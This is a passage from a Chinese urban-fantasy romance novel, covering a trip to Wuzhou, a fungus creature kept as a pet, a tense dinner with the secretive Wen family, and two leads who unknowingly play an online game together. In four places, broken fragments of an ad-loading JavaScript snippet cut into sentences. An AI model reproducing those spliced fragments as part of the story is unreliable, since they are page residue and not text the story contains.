“你怎么还有况衍君好友?他不把你删了?你不把他删了?”瞿木一看,两眼一黑,况衍君果然还在坚持不懈的给林眠点赞。 林眠侧过头,说:“我没删他,他还给我点赞,但是我没和他聊过天了。” 瞿木抽了抽嘴角,不明白了,这况衍君到底想干嘛?明明是无支祁那边的人,还要杀林眠,竟然还给对方的朋友圈点赞? “你快把他删了,鬼知道他是不是通过手机偷窥你!”瞿木说着,问前面的秦宁:“有没有什么术式,能够通过手机进行的?” 秦宁头都没回地说:“没有。” 林眠拿过自己的手机,没搭理瞿木。她口袋里的菌人爬出来,跳到林眠的头顶上,乖巧的坐着。 “不是,你们都不觉得这个况衍君很奇怪吗?”瞿木说,“他这是什么意思?” “不好说。”秦宁回答,他通过后视镜,看到林眠头顶上的菌人,问:“林小姐,你有试过让菌人和银木待在一起吗?” 林眠抬起头,说:“试了,我把它和戒指放在一起,看起来没什么反应。” 说着,她从口袋里拿出戒指,套在菌人的头顶上,说:“你们看,它也没对银木戒指做什么。” “那菌丝说的菌人是养树人,是什么意思?这个树不是我们理解的银色大树,不是银木?”柳寂白托着下巴说。 菌人在林眠头顶上坐了会,就饿了,扒拉着林眠的头发。林眠只好从手指处长出菌丝,搓成蘑菇,递给菌人。 “贪吃鬼。”瞿木看着菌人抱着蘑菇啃的模样,问:“它这一天吃了多少个这么大的蘑菇啊?” 林眠轻扬起下巴,想了一下说:“今天到目前为止,是第三个。” “这么能吃。”瞿木撇了撇嘴,吐槽说:“按照记载,菌人有那么多,菌丝每天搓蘑菇都搓不过来。” “哈哈哈。”柳寂白听了瞿木说的话,忍不住笑了起来,“你说的很有道理,这才傍晚不到,就吃了三个蘑菇,这菌人要是多起来了,谁喂得过来啊?” 一路上,就在打趣中度过了。 来到梧州的时候,已经是傍晚了。 林眠将菌人塞进口袋里,下了车,看着宽阔的大道,路两旁的梧桐树泛着金黄色的叶子,粗大的树干十分抓人眼球。 路边的商铺都亮起了灯,一盏一盏的灯光就像是温暖的烛火一样。 “我喜欢这里。”林眠轻声说。 瞿木刚下车,听到了林眠的话,抬头看向周围,说:“喜欢就多待几天。” 梧州的风景确实不错,而且还是历史名城,文化渊源也很深厚,不怪林眠会喜欢。 “我定的酒店就在附近,我们先进去吧。”瞿木对林眠说。 “嗯嗯。”林眠跟着瞿木朝酒店走去。 柳寂白和秦宁的行李多,都带了一个大行李箱,正在后备箱拿行李。 进了酒店,瞿木拿到房卡,就直接去顶楼了。 “我的天啊,这得多少钱一晚啊?”柳寂白进到房内,都惊呆了。 瞿木看了眼柳寂白,说:“这里的总统套房只有两个卧室,我就定了两间,我和林眠住楼上,你和秦宁住这儿,可以吗?” “当然可以,毕竟是您老花的钱。”柳寂白笑着说,还朝着瞿木wink了一个。 瞿木:…他只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是因为自己不能离林眠太远了而已!!!绝对没有夹带私心!!! 他也懒得解释了,拉着林眠去楼上。 林眠不觉得有什么,自从和瞿木认识后,他们之间基本寸步不离。她也习惯了,到了套房后,就把菌人从口袋里拿出来,然后自己做自己的事。 到了晚上,大家在一起出去吃了个饭,讨论了下明天找文家的事,就都回来了。毕竟忙碌了这么些天,基本也没好好睡觉,都是在车上度过的,也需要好好休养一下。 “他们连文家在哪都不知道,这梧州这么大,大海捞针啊?”瞿木抱怨着说,刚刚吃饭的时候才知道,没人知道文家现在的地址在哪。 “找找嘛,总能找到的。”林眠很乐观地说,“而且这几天,我们可以在梧州逛逛啦。” “你就想着玩。”瞿木无奈摇摇头。这几天秦宁他们要找人,林眠和自己确实没什么事干,确实可以在梧州市里玩玩。 这也是好不容易来的休闲时光。 林眠洗完澡,躺在柔软的大床上。她觉得自己是由俭入奢易、由奢入俭难,她回老家的那几天,已经睡不惯木床板了。 她没有立刻睡觉,而是点开许久未打开的游戏。 因为老家没有WiFi,她流量又不多,就没上过号了。 一上号,她的习惯是去好友列表里找草莓,结果发现草莓已经7天没上号了。 林眠趴在床上撑着脸,百无聊赖地把红点都点了,再随手做了点任务,都没见草莓上线,也就没人带她刷本了。 她又等了一会儿,还是没看到草莓上线,也就下线去睡觉了。 第二天一大早,瞿木就起来了。 他昨晚洗完澡,就直接睡了,好久没睡过这么舒服的觉了,整个人都精神满满,一看时间,也才早上六点多。 林眠还没起,他就叫了客房服务,吃了早餐,再去健身房运动一小时。从健身房出来,再泡杯咖啡,瞬间又活过来了。 这才是人该过得生活,这几个月他不是在深山老林里,就是在村里,日子是一天比一天难过。 林眠睡醒出来的时候,就见到瞿木端着一杯黑乎乎的东西,坐在落地窗前面,看着外面的风景。 她知道这个黑乎乎的饮料,瞿木说是咖啡,一点都不好喝。 “你醒了,等会会有人送早餐上来。”瞿木举了举杯子,对她说。 “哦。”林眠点点头,将菌人放在椅子上,自己就回房间收拾一下。 菌人没有跟着林眠,而是跑到瞿木的身上,再爬到他的头顶上。 “下来。”瞿木伸出手,一把抓住菌人,这小东西被林眠养习惯了,总是喜欢爬到人的头上。 瞿木将它扔到一边,接着享受这来之不易的美好时光。 林眠洗漱完,换好衣服,吃完早餐后,已经八点了,外面的街道上都是车辆和行人,店铺也全都开门了,一副繁华热闹的景象。 “我们出去玩吧。”林眠跑到瞿木的面前说。 瞿木看了眼林眠,她今天穿了裙子,是自己在北城给她买的那条。 “行,不过这东西,就留在这儿吧。”瞿木看了眼菌人,虽然可以把它揣着口袋里,但这小东西以前是个人,一想到这儿,瞿木就膈应的慌。 林眠不解,但为了让瞿木陪自己出去玩,还是忍痛答应了。她端起菌人,摸了摸它,随后又搓了几个大蘑菇放到一边,才跟瞿木说:“好了,我们出发吧。” 瞿木抖了抖身体,这是真把菌人当成宠物养了。 58. 梧州文家 梧州是个大城市,也是旅游城市,不管是白天还是晚上,节假日还是工作日,街上熙熙攘攘都是人。 林眠和瞿木去逛梧州的景点,玩了一天下来,最后找了家空中餐厅坐了下来。 “我今天步数都两万多步了。”瞿木看了眼手机,锤了锤腿。 林眠拍了不少照片,正忙着把照片都发在朋友圈里。 “你这是把朋友圈当成网盘了吧?”瞿木看着林眠连续发了三条朋友圈,全是图片,忍不住问她。 林眠抬起头,问:“网盘是什么?” “就是可以储存照片视频之类的,内存大。”瞿木简略的解释了一下。 林眠似懂非懂,她好像也没有什么需要储存的,便也没再问。刚刚点了菜,还没上来,她现在也无聊,就低着头玩手机。 瞿木看着窗外的夜景,随处可见的梧桐树随着风摇摆,一片片叶子落在地上,没多久,地上有了薄薄一层的落叶。 这一刻的宁静让他从妖物的世界里脱离出来,享受“人”的生活。瞿木脑子里突然冒出这种奇特的想法,随后又忍不住自嘲的笑了笑,或许他现在从心底里,对自己是人的这个身份,产生了怀疑。 菜上来了。 林眠放下手机,拿起筷子,喊瞿木:“上菜了,我们吃吧。” 瞿木回过神来,看着林眠馋的不行的模样,但因为自己没有动筷,她就在等着自己,让瞿木觉得有些好玩。 “你怎么不夹菜?”瞿木假装不知道的模样问她。 “因为是你付的钱,你是主人家。”林眠也老实回答,期待着瞿木快点夹一筷子菜,她就可以开吃了。 瞿木笑了,说:“行。” 他随手夹了离自己最近的一道菜,吃了一口,甜的。梧州做菜爱放糖,他就不怎么喜欢,还是更喜欢北城的咸口。 林眠见状,开心的将每道菜都试了一遍,还不忘夸奖说:“好吃,是甜的。” “你倒是适应得快。”瞿木打趣说,今天还去吃了梧州的特色小吃,林眠都吃的很欢快,这甜口的菜看样子也很符合她的口味。 “真的挺好吃的。”林眠再次说道,她不讨厌甜的东西,小时候她就很喜欢糖果,但是都没有钱去买。 家里更是连白糖都没有。 “那你多吃点。”瞿木说,还给林眠夹了菜。别看林眠看着挺瘦一姑娘,饭量可不小,瞿木觉得自己都不一定能吃过她。 吃过晚饭后,两人慢悠悠的走在街上,往酒店方向走去。 回到酒店的时候,秦宁和柳寂白已经在等着瞿木他们了。 “你们找到了吗?”瞿木一进屋,就看到秦宁在低着头写东西,柳寂白在旁边逗菌人玩。 菌人一看到林眠回来了,立马从柳寂白身上跑到林眠身上。林眠给它搓了颗蘑菇,菌人就老老实实的待着头顶上吃蘑菇。 “这家伙,感觉就像不知饱一样,给它多少就吃多少。”瞿木在旁边吐槽说,今天那三个蘑菇多大,竟然都吃完了。 林眠思考了一下,问:“吃的太多会不会有不好啊?” “这谁知道。”瞿木说。他们对菌人都了解不多,说是养树人,也没看出它怎么养树了,吃倒是吃得多。 柳寂白看着他们两个斗嘴,笑了笑。 秦宁停下笔,才抬头说:“我们今天去了文氏集团,想见一见…CEO。” “文家现在从商厉害得很,我调查了才发现,已经是梧州首富级别的了。”柳寂白在旁边搭腔,“现在的CEO是文忱,是文家的直系。” “所以你们没见到人?”瞿木听柳寂白说的天花乱坠,直击重点。 柳寂白住了嘴,吐槽说:“那有钱人我肯定见不着,我们柳家名不见经传,秦家名扬四海,也不见文家愿意见他。” “你们怕是连前台都没进去吧。”瞿木无情地揭穿他们。 秦宁看向瞿木,没吭声。他以前在北城的时候,多少人排着队想见他,求他算上一卦,但这文家…连面都见不上。 “你们也别太介意,人家都是CEO了,怎么也要预约是吧?况且文家不是都一百年不从事风水了么?指不定现在的后辈都不知道你们什么秦家、柳家。”瞿木细细道来,他们两个人横冲直撞的上去,人家不以为是骗子就不错了。 秦宁沉住气,说:“所以我写了一封信,希望能与文家的人见上一面。” “行,这个办法不错。虽然现在都喜欢用邮件了。”瞿木点点头,总比直接上门要来的强。 林眠听着他们讨论,看来想要见到文家的人也不是易事。 瞿木在旁边思考了一下,说:“文家现在这么显赫,按道理应该和我家有生意上的来往才对。” 他从沙发上起身,拿出手机,“我打电话给卫叔,问一下,说不定能更快一些。” 打完电话后,瞿木眼前一亮,说:“还真有往来,我要到了联系方式。” “那快打电话问问。”柳寂白说。 瞿木摇摇头,“明天吧,我打电话也不见得人家认识我啊,得让我爷爷打才行,明天这事就有着落了。” 柳寂白也觉得是,便拍了拍一旁受挫的秦宁,说:“行了,又不是人人都得知道你秦大师,况且文家本来就懂风水这一块,那还需要外人?” “我们还没吃饭呢,一起去吃个饭吧。”柳寂白说道。 瞿木和林眠一听到吃饭,都摆了摆手,异口同声地说:“我们吃过了。” 柳寂白也不意外,他们两个这么晚回来,吃过饭也不奇怪了。 秦宁和柳寂白走了之后,瞿木接着瘫在沙发上,等待着卫叔的回复。躺了一会儿,菌人突然爬到他的胸口处,想往他的衣口里面钻。 “干嘛啊?”瞿木连忙起身,抖了抖衣服,把小菌人抓了出来。 林眠正趴在落地窗上拍照,听到瞿木的声音,回过头来,见瞿木一脸嫌弃地捏着菌人,说:“你爬到我身上做什么?” “它可能是想跟你玩。”林眠替菌人回答。 瞿木扭过头看向林眠,气势汹汹地反驳说:“它这突然爬到我的胸口上,多少有点变态了吧?更何况,它以前是个活生生的人,谁知它还有没有作为人的记忆?” “应该没人吧?”林眠一本正经地解释:“它一点人的习惯都没有。而且它现在就是个白色的小菌人,多可爱呀,你就不要这么嫌弃它嘛。” 瞿木:…不行,我控制不住我自己。 想归这么想,瞿木还是将菌人放了下来,将它扔在沙发上,看着它Q弹的在沙发上弹起来。 没过几秒,菌人又往瞿木身上爬去,朝着他的胸口跑。 瞿木没好气的把菌人又拿了出来,这太奇怪了,往自己胸口跑干嘛?自己又不会产菌丝。等下,怎么感觉怪怪的? “林眠,这菌人不太对劲啊,一直往我胸口爬。”瞿木捏着菌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人去找林眠。 林眠接过菌人,有些疑惑:“为什么呀?” 之前也没见菌人对瞿木有多热情。 “我哪知道?”瞿木看了眼菌人,抽了抽嘴角,“总不能是又饿了吧?那也应该找你啊。” “不应该呀,它今天比平时都吃得多。“林眠打量着菌人,前后左右、上上下下都打量了一遍,她觉得菌人确实有点不太一样了。 “嗯…”林眠在手心处把菌人翻来翻去,最后得出结论:“它变大了。” “虽然不是很明显,但是大了一圈。” 瞿木疑惑的看着林眠手掌心处的菌人,怎么说呢…他对菌人之前的大小也没什么数,反正就拇指大小。 “真的大了?”瞿木还是有些不太信。 “真的!”林眠很确定,“比昨天大了一些。” 瞿木挠挠头,“那好吧,长大了会怎么样?” 林眠摇摇头,她也不知道。 “它为什么要爬你身上?要不就让它爬爬看看?”林眠建议着说。她也想看看菌人是想做什么。 “不要。”瞿木果断拒绝,还往后退了几步,说:“我才不想这玩意爬到我身上,打死都不可能。” 他都还没确定这玩意是不是还有人的意识。而且不管有没有,它曾经都是个人,想想就…浑身发抖。 林眠看着瞿木抗拒的模样,也只好作罢,只得捏着菌人拍了拍,嘟囔说着:“你怎么还会吃胖呢?以后会不会变得越来越大?” 瞿木瞥了一眼,说:“我回房间休息去了。你也早些睡,明天不是还要去别的景点玩么?” 梧州旅游景点众多,一两天还真是逛不完。 “嗯嗯。”林眠点头。等到瞿木回房后,她也捏着菌人回自己的房间去了,免得等会菌人又去找瞿木。 回到房间后,林眠洗漱完,躺着玩了下手机后就去睡觉了。 第二天她醒来的时候,伸出手抓了一下,没抓到放在枕头边的菌人。 “去哪了?”林眠从床上起来,在屋子里找了一遍,都没看到菌人,昨天晚上她搓的蘑菇倒是不见了。 找了一圈,林眠都没找到,也就放弃了,总之肯定还在这附近。她去洗漱,再换好衣服,走到客厅处。 瞿木早就醒了,坐在沙发处,若有所思地低着头、盯着前面看。 “你在看什么?”林眠走上前,也想看看是什么。 她走上前一看,才发现是菌人抱着瞿木的那块玉佩,使劲地蹭着银木的边缘。 “它已经这样一早上了。”瞿木说道。他今天一睁开眼,就听到细微的声音,低头一看,发现菌人趴在自己胸口上的玉佩处,不知道做些什么。 后面他就把玉佩取了下来,放在一边观察。 林眠坐了下来,不解地问:“这是做什么?” “不知道。”瞿木思考了一早上这个问题,也没看出玉佩边上的银木有什么变化,但菌人一直坚持不懈的摩擦银木。 林眠也只好观察了起来。 大约过了一个小时,门铃响了一声后,“咔哒”一声,门就打开了。秦宁和柳寂白一起走了进来。 “你们两个吃早餐了没?”柳寂白一进来就问,发现他们两个坐在那里,不知道在看什么,便问:“你们在干嘛?” 她和秦宁走过去后一看,也跟着坐了下来。 四个人排排坐,看着菌人抱着玉佩摩擦着银木。 59. 晚宴 四个人一起看了一个小时后。 “累了,我看的都累了,它动作都不带停一下。”柳寂白身体直接往后倒,靠在柔软的沙发上。 “我已经看了一早上了。”瞿木说道,他今天早上都没自律的锻炼,就为了看菌人摩擦银木。 “也没有什么变化。”林眠也将身后往后仰,顺手搓了个蘑菇放到银木旁边。 菌人看到蘑菇,就放开银木,扭头去抱着蘑菇啃。 秦宁也没看出来菌人这是在做什么。他这两天也有在看林家那边拿来的书籍,但关于菌丝的记载实在太少,菌人也仅仅看到一句介绍。 “对了,刚刚卫叔给我发了消息,文家那边邀请我今晚过去吃饭,你们…秦宁跟我一起的吧。” 瞿木问道,他本来的目的就是让秦宁和文家的人见上一面,现在文家邀请自己,那自然要带上秦宁一起去。 “也好。”秦宁点头答应。 “不过你不要咄咄逼人啊。”瞿木先给秦宁打下预防针,免得秦宁上来就逮着人家问,把氛围弄得焦灼。 秦宁看了眼瞿木,说:“礼数我自然懂。” “那我就等你们的消息了。”柳寂白说。 林眠眨眨眼,那她做什么好? “那都决定好了,等会我会把时间和地点发给你。”瞿木对秦宁说完,就对林眠说:“我们走吧,不是要去梧桐寺么?” 林眠楞楞地反应过来,“哦哦。” 临走之前,林眠还给菌人搓了两个大蘑菇。瞿木把自己的玉佩拿了回来,他已经习惯随身携带了。 他们两个出去后,柳寂白看着关门被关上,问秦宁:“他们两个这是去约会,对吧?” 秦宁没吭声,而且一把抓起菌人,准备做点实验。 “你干嘛啊?林眠把这菌人当宠物一样养,被她知道了…”柳寂白睁大眼睛,想要阻止秦宁。 秦宁右手拿着水果刀,左手捏着菌人。 “根据记载,菌人的生命依托于菌丝,只要菌丝不死,菌人不会死。当然,它们会饿死。”秦宁说完,将刀抵在菌人身上,“所以…” 他将刀扎进菌人体内,看着菌人的肚子处被刀扎了进去,没有血迹流出。 柳寂白抿着唇,怎么感觉有点残忍? 另一边,瞿木和林眠已经到了寺庙处。 明明不是节假日,寺庙处人很多。 “我听说,这间寺庙特别的灵验。”林眠拿着门票,验了票走进去,等着瞿木进来。 瞿木也验了票,跟着林眠一起往前走。 每间大殿、每尊菩萨和佛祖,林眠都虔诚的祭拜。 “你这么虔诚,是有什么事让佛祖和菩萨帮忙的么?”瞿木好奇地问,他对于所谓的神、佛,还是觉得充满虚幻。 林眠摇摇头,说:“没有。” “那你还拜的这么虔诚。”瞿木说道,自己都是随便敷衍一下,但林眠背部挺直,双眼闭上,虔诚极了。 “既然要拜,那肯定要认真一点呀。”林眠说道,“而且大家都说这里很灵,万一真的很灵验呢?” “那你有什么愿望?”瞿木还是好奇这个。 林眠眼神飘忽,没有正面回答瞿木的问题,只是说:“我们去那边。” “诶,真的有愿望啊?” 瞿木被激起好奇心了,林眠会有什么样的愿望啊? 可林眠不是很愿意说。 两人走到寺庙处售卖文玩物品的地方,林眠逛了起来。 瞿木凑上前,腆着脸问:“真的不告诉我啊?” “你告诉我,说不定我能替你解忧呢。” “你知道有句话吗?人定胜天,只指望那些佛祖还不一定管用呢。” 瞿木在旁边絮絮叨叨地说着,把林眠都说的心动了。 “可是能指望你吗?”林眠问,话语里还带着一丝诚恳。 瞿木呆了一秒,还真有愿望啊? “那肯定能指望我啊,我是谁?”瞿木自信满满,只要不是天上的太阳和月亮,他也不是不行。 林眠犹豫了几秒,才有些怯怯地开口:“我有一个朋友…” “啊?”瞿木下意识眉头一皱,“然后呢?” “我一和他说话就会很开心,看不到他就会有些难过。”林眠认真的描述着自己的想法,“我已经好久没和他说过话了。” “想再和他一起说说话,聊聊天。” 瞿木:??? “你这个朋友是谁?”瞿木停下脚步,直勾勾地盯着林眠问。 林眠见瞿木突然不走了,也停了下来,思考了一下,才说:“我不知道他的名字。” 瞿木:…… “你在哪儿认识的?”瞿木感觉有点不太对劲。 林眠看了眼瞿木,没吭声。她也说不清这种感情,就觉得…这么跟瞿木说有些难为情,便不想再说了。 “不说了,我们走吧,还有那一边没逛。”林眠说完,就往前走。 瞿木这段时间和林眠相处那么久,基本上吃喝睡都在一起了。他看得出来,林眠这是感到难为情了! 到底是谁啊?能让她感到难为情?还不知道名字。自己和林眠天天在一起,很确定她身边没有这么一个人,难道是…网恋? 瞿木越想,心里越呕得慌,偏偏他再问,林眠也打定主意不肯说了。 到了傍晚,瞿木和林眠到了和秦宁约定的地方。 “你真的不打算告诉我?”瞿木再问一遍。 林眠坚定地摇头。 “行吧。”瞿木也只能这么说,等之后,他一定要找出这个人是谁! 一辆车停了下来,秦宁从车上下来,和瞿木林眠打了声招呼。 “我们进去吧。”瞿木见秦宁来了,也知道现在的正事,只能把林眠的事往旁边放一放,但心里总是卡了一根刺,弄得他极其不舒服。 今晚在这里设宴的是文家现在的当家人,文老爷子,文渠明。 瞿木让爷爷帮自己约一下见面,没想到直接约了老爷子。面对长辈,他自然是不怯场,只是… 也不知道这老爷子好相处不? 进了包厢处,按照指示坐下,大约过了几分钟,文老爷子拄着拐杖走了进来,他旁边还有一个儒雅的中年人扶着他。 文老爷子看到瞿木,笑着说:“我和如清也是多年的好友了,这些年年纪大了,也就少往来了一些。” “文爷爷您说笑了,我还记得我小时候,您还抱我过呢。”瞿木也笑着说,顺手给文老爷子倒茶。 “哈哈,那会儿你才五六岁呢。” 瞿木的这话,显然很哄老人家开心。他哪记得谁抱过自己啊。 “对了,这位是我的儿子,文忱,按照辈分,你应该喊一声叔叔。” “文叔叔 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好。”瞿木打了声招呼。 文忱看着瞿木点了点头,脸上没有什么笑容,只是侧头和后面的服务员说了点什么,服务员就下去了。 瞿木也顺势介绍了一下秦宁和林眠,重点在秦宁身上。 “这位是北城秦家的秦宁,在我们北城是鼎鼎有名的风水大师。”瞿木笑着和文老爷子介绍,也着重的将话音落在“风水大师”这四个字上。 文老爷子放下茶杯,抬起头,仔细地打量着秦宁,大约过了几秒,才笑着说:“我年纪虽大,但秦家的鼎鼎大名谁人不知?多少人想请秦家算上一卦,只是我们文家没有这个福分。” “文老爷子,您好。”秦宁拱手,说:“文家在我们玄学界里是触不可及的存在,您这是谦虚了。” 无论如何,文家的底蕴都在那里,特别是对于银木的记载和研究。而且秦宁笃信,文家肯定还藏着许多没有公布出来的研究。 “哈哈哈,那都是过去的事了。在我这一辈,已经无人继承祖宗的衣钵了。”文老爷子叹着气说,但语气里毫无惋惜之意。 林眠一直没出声,只是默默地看着自己面前的餐具,等着上菜。来的时候瞿木就和她说了,她只要不说话,负责吃饭就行。 但…她一抬眼,就和坐在自己对面的那位文叔对上视线。 那个人…好像一直在看着自己… 林眠第一次在人的身上感觉到了不自在。 菜上来了,林眠等着他们都动了筷子,才去夹菜,埋头苦吃。 秦宁和瞿木还在和文老爷子周旋,铺垫了一大堆后,秦宁才开口说:“实不相瞒,我这次托瞿木帮忙,前来是有要事相求。” 秦宁见氛围到了,也直接将话题引入。 “文家已不从事这一行,恐怕没办法为解答。”文忱率先开口,他的眼神有些犀利地看向秦宁。 文老爷子摆摆手,说:“你有什么问题?我们要是知道的,必然会解答一二。” 他这也算是给了瞿木一个面子。 秦宁见状,从大衣口袋里拿出一张符咒,摆在桌上,问:“这张符咒我们在一个雕塑里找到的,那个雕塑上刻有‘文’字,应该是文家制作的。” 文老爷子,眯着眼看了下那张符咒,又将符咒挪到儿子文忱面前,说:“我年纪大了,看不清了,阿忱,你看看。” 文忱看了一眼,说:“我不认识。” 秦宁又把那块刻有“文”字的雕塑碎片拿出来,给他们看。 “这确实是我文家的标识。”文老爷子这才承认,开口说,“只是文家已经一百年未从事这一行了,恐怕没有能为你们解答的。” “文老,您真的一点儿都不知道?”秦宁问,这雕塑是供奉无支祁的,既然是文家制造,他们肯定对无支祁有所认识和了解…甚至…文家也有可能供奉无支祁。 文老爷子摇摇头,“我父亲那一辈也许会认识,但到我这儿,早已经对这一方面完全不了解。” 他说着,又拿起雕塑细细端详,问:“这块陶瓷碎片,还有这张符咒,是有什么故事?我这儿看来,这只是最普通不过的东西。” 秦宁和瞿木对视了一眼,秦宁简单的讲述了一下,也话里试探了一番文家对无支祁的反应。 无果。 文忱突然问起了一旁库库干饭的林眠:“这位小姐是哪家的?据我了解,北城的似乎没有林家。” 60. 甜心奶兔酱 瞿木见状,立马拉住林眠,自己开口说:“她是我爷爷故交的孙女,这次我带她一起来梧州玩玩。” “毕竟梧州是历史名城,总得来一趟,好好逛逛。” 文忱点头,视线却还是停留在林眠身上。 文老爷子也看向林眠,这个小姑娘在刚进来的时候,他就注意到了。现在这么仔细一看,倒还真是…有几分相似。 偏偏还姓林。一个极其不详的姓氏。 林眠没吭声,看了眼瞿木后,她感觉顶着别人的视线,吃到嘴里的饭都没那么香了。 一顿饭吃下来,出了包厢,离开酒店后,瞿木才开口说:“这两个人精,是一点都不愿意透露。” “这个结果并不意外。”秦宁倒是平常心得多,“文家和无支祁之间必然有关系,他们不愿意说。” 林眠听着他们说,不太开心地摸了摸肚子说:“没吃饱,他们总看着我。” “对,他们为什么总看着林眠啊?”瞿木也注意到了,但碍于那样的场面,也不能直接指出来。 瞿木说着,正对着林眠看了看,说:“脸上也没东西,印堂看着也很饱满,没有发黑,没啥问题啊。” 林眠看着瞿木,伸出手挡住他的视线,说:“你在胡说些什么呢?” “应该是菌丝的原因。”秦宁说,“文家人虽然不从事这一行了,但有没有继续学习祖上传下来的知识,以及继承,都不清楚。或许是他们察觉到了林眠身上的异样,又或许他们本来就知道菌丝的存在,察觉到了。” “这倒也是。”瞿木点点头。 林面想了想,问:“那我们现在怎么办?他们什么都不愿意说。” 他们还要调查这符咒的来源,以及文家为什么会造出无支祁的雕塑,以及…被困在海底的无支祁到底在哪里。 但无疑,所有的箭头都指向文家。 “只能再想办法了。”秦宁抬起头,说:“先回去吧。” 三人回到居住的酒店处,柳寂白正在那里玩手机,见他们三个一起回来了,立马放下手机,问他们:“怎么样了?” “文家有说什么吗?” 林眠摇摇头,“什么都没说,他们什么都不肯说。” “这倒也不意外,没试探出点什么?”柳寂白接着问。 “这两个人都是人精,说的话都很周全,根本什么也问不出来。”瞿木一屁股坐到沙发处,有些累了,吃顿饭比出去爬山还累。 而且,他满脑子都还惦记着下午在寺庙的事。 瞿木抬起眼,看了眼正在捏着菌人玩的林眠。那个朋友到底是谁啊?连名字都不知道,总不能真是网恋吧? 秦宁沉住气,对瞿木说:“时间不早了,我先回去了。” “行。” 柳寂白见秦宁走了,自己再留在瞿木这也不合适,便站起身,说:“那我也先去楼下了,有事联系我们。” “嗯。”瞿木摆摆手,敷衍回答。 等到秦宁和柳寂白都走了,瞿木凑到林眠面前,忍不住再问她:“你那个朋友是谁啊?拉出来见见?” 林眠扒拉着菌人,侧过头看瞿木,说:“不行。” “为什么?”瞿木抓心挠肝。 “因为我联系不上他了。”林眠说到这儿,脸上还流露出一丝难过。她这几天天天都有上游戏,但是对方都没上线过了。 也就是这时候她才知道,“弃游”是什么意思。 瞿木无语了,彻彻底底的无语了。敢情还真是网恋啊,还是林眠单方面的网恋,他实在忍不住问:“你看上对方什么了?” 林眠歪着头,思考了一下:“不知道,就是…” “感觉,感觉你知道吧?” 瞿木抽了抽嘴角,“我不知道。” “你见过他的样子么?”瞿木问。 林眠摇摇头,老实回答:“没见过。” “那你喜欢他什么?”瞿木真想打开林眠的脑袋,看看里面装的都是什么!平时看着没心没肺的,竟然还对一个陌生人有好感。 “喜欢?”林眠眨眨眼,“你说我喜欢他?” 她后知后觉反应过来,瞿木问的这些都是在套自己的话! 瞿木抿着唇,看着林眠没吭声。弄了半天,她还不知道这是喜欢的表现?啊啊啊啊,不行,一想到这个,他就难受,浑身不自在。 “我…没有…”林眠低声说,“我只是…习惯了而已。” “什么?”瞿木没听清林眠最后的那句话,“只是什么?” 林眠皱了一下眉,将嘴唇抿成一条线,不太开心地说:“我回房间去了。” “诶,你再说一遍嘛。”瞿木对着林眠喊,换来“嘭”的一声关门声。 林眠回到房间,将菌人扔到床上,拍了拍自己的脸,瞿木这说的什么嘛…怎么可能是喜欢,她只是…习惯了和对方一起打游戏。 她躺在床上,抓过旁边的菌人,给它搓了个小蘑菇,看着它一点一点的啃食着蘑菇。 躺了几分钟,林眠就从床上坐起来,打开游戏,对方还是不在线。她叹了口气,决定先去洗个澡。 洗澡期间,瞿木在林眠房门口处敲了敲门,没有人应答。他又敲了敲,结果菌人从房门底下缝隙处钻了出来,顺着瞿木的裤腿爬了上来。 “你来干嘛?”瞿木不耐烦地将菌人拎起来,思索了一下,扭头往旁边走去。自己敲门,林眠肯定不会无缘无故不理自己,那说明她现在应该是在…洗澡。 瞿木回到自己的房间里,把玉佩取下来放到桌上,菌人就离开瞿木身上,跑到玉佩处,开始它的摩擦。 瞿木看了一会儿,便觉得无趣,躺在床上刷着手机,满脑子都是林眠的事,他甚至还产生了想看林眠手机的想法。 但这显然不太可能。 【赵阳博:你几天没上游戏了?那个骗子一直给你发消息,我看了一下,你们还在一起刷本?】 瞿木手机屏幕上突然跳出一条消息,他点开一看,是赵阳博发来的。他这些天哪有空上号?每天忙这个忙那个的。 【瞿木:怎么?骗子就不能玩这个游戏了?】 瞿木回了消息,就顺手点开游戏页面。他之前在游戏里遇到一个奇怪的人,后面对方让自己带她打本还是什么的,自己也就答应了。 一来二去,算不上熟稔,但在游戏里也算是能一起玩的。 不过,她发什么信息了? 瞿木进入游戏,点开好友聊天页面一看…一连串的信息,大多数都是问他在干嘛,怎么还不上线。 【赵阳博:你上号了,你们该不会还在游戏里处cp吧?】 瞿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 木回了个“滚”字。 这个“小蘑菇”就很奇怪,也不知道是男是女,之前明明是个骗子,但好像还真的喜欢上这个游戏了,每次自己一上号,他就找自己刷本。 他刚把聊天页面一关,对方就上线了。没过几秒,就发来了信息。 瞿木敷衍的回答了一句,就问她要不要去刷个本。反正现在也没事干,他也睡不着觉,满脑子都是林眠的事,烦躁得很。 林眠洗完澡出来,一上线就发现草莓也上号了。她发了消息,对方也回复自己了,并且邀自己一起去打本。 打本过程中,林眠想了想,一改以往的常态,主动发消息问对方。 【小蘑菇:你最近很忙吗?】 【草莓软糖:嗯】 瞿木刷完这个本,突然想起来,他顶着这个ID都好几个月了,该去改回来了。之前和赵阳博打赌输了,他才改的这个ID。 当时是“草莓软糖”和“甜心奶兔酱”两个ID让他选,愿赌服输,他选草莓软糖。那个甜心奶兔酱实在是太恶心了。 【小蘑菇:你怎么改名字了?】 【维他木C:想改了,你也改一个名字吧】 瞿木有一搭没一搭地和对方聊天。 【维他木C:蘑菇什么的太可怕了。】 【小蘑菇:为什么?】 林眠趴在床上,她还是第一次…不,第二次见讨厌蘑菇的,明明不论长相、还是口感,蘑菇都很不错。 【维他木C:最近新出了个本,要去刷么?】 林眠眨眨眼,回了个“好”,但在进队伍之前,她去改了昵称,“想吃冰激凌”。 瞿木看对方改了名字,有种怪怪的感觉,还真把名字改了啊?难道是新型仙人跳?可怎么偏偏盯上自己,这都好几个月了。 他有些摸不着头脑,但还是带着对方去打本。 打着打着,瞿木突然发现,短短半个月没见,对方竟然多了很多皮肤。 【维他木C:你买了不少皮肤啊】 【想吃冰激凌:嗯嗯,我最近有钱了】 瞿木愣了一下,他第一反应是对方最近骗到钱了,又转头一想,就这么水平,哪个冤大头会被诈骗? 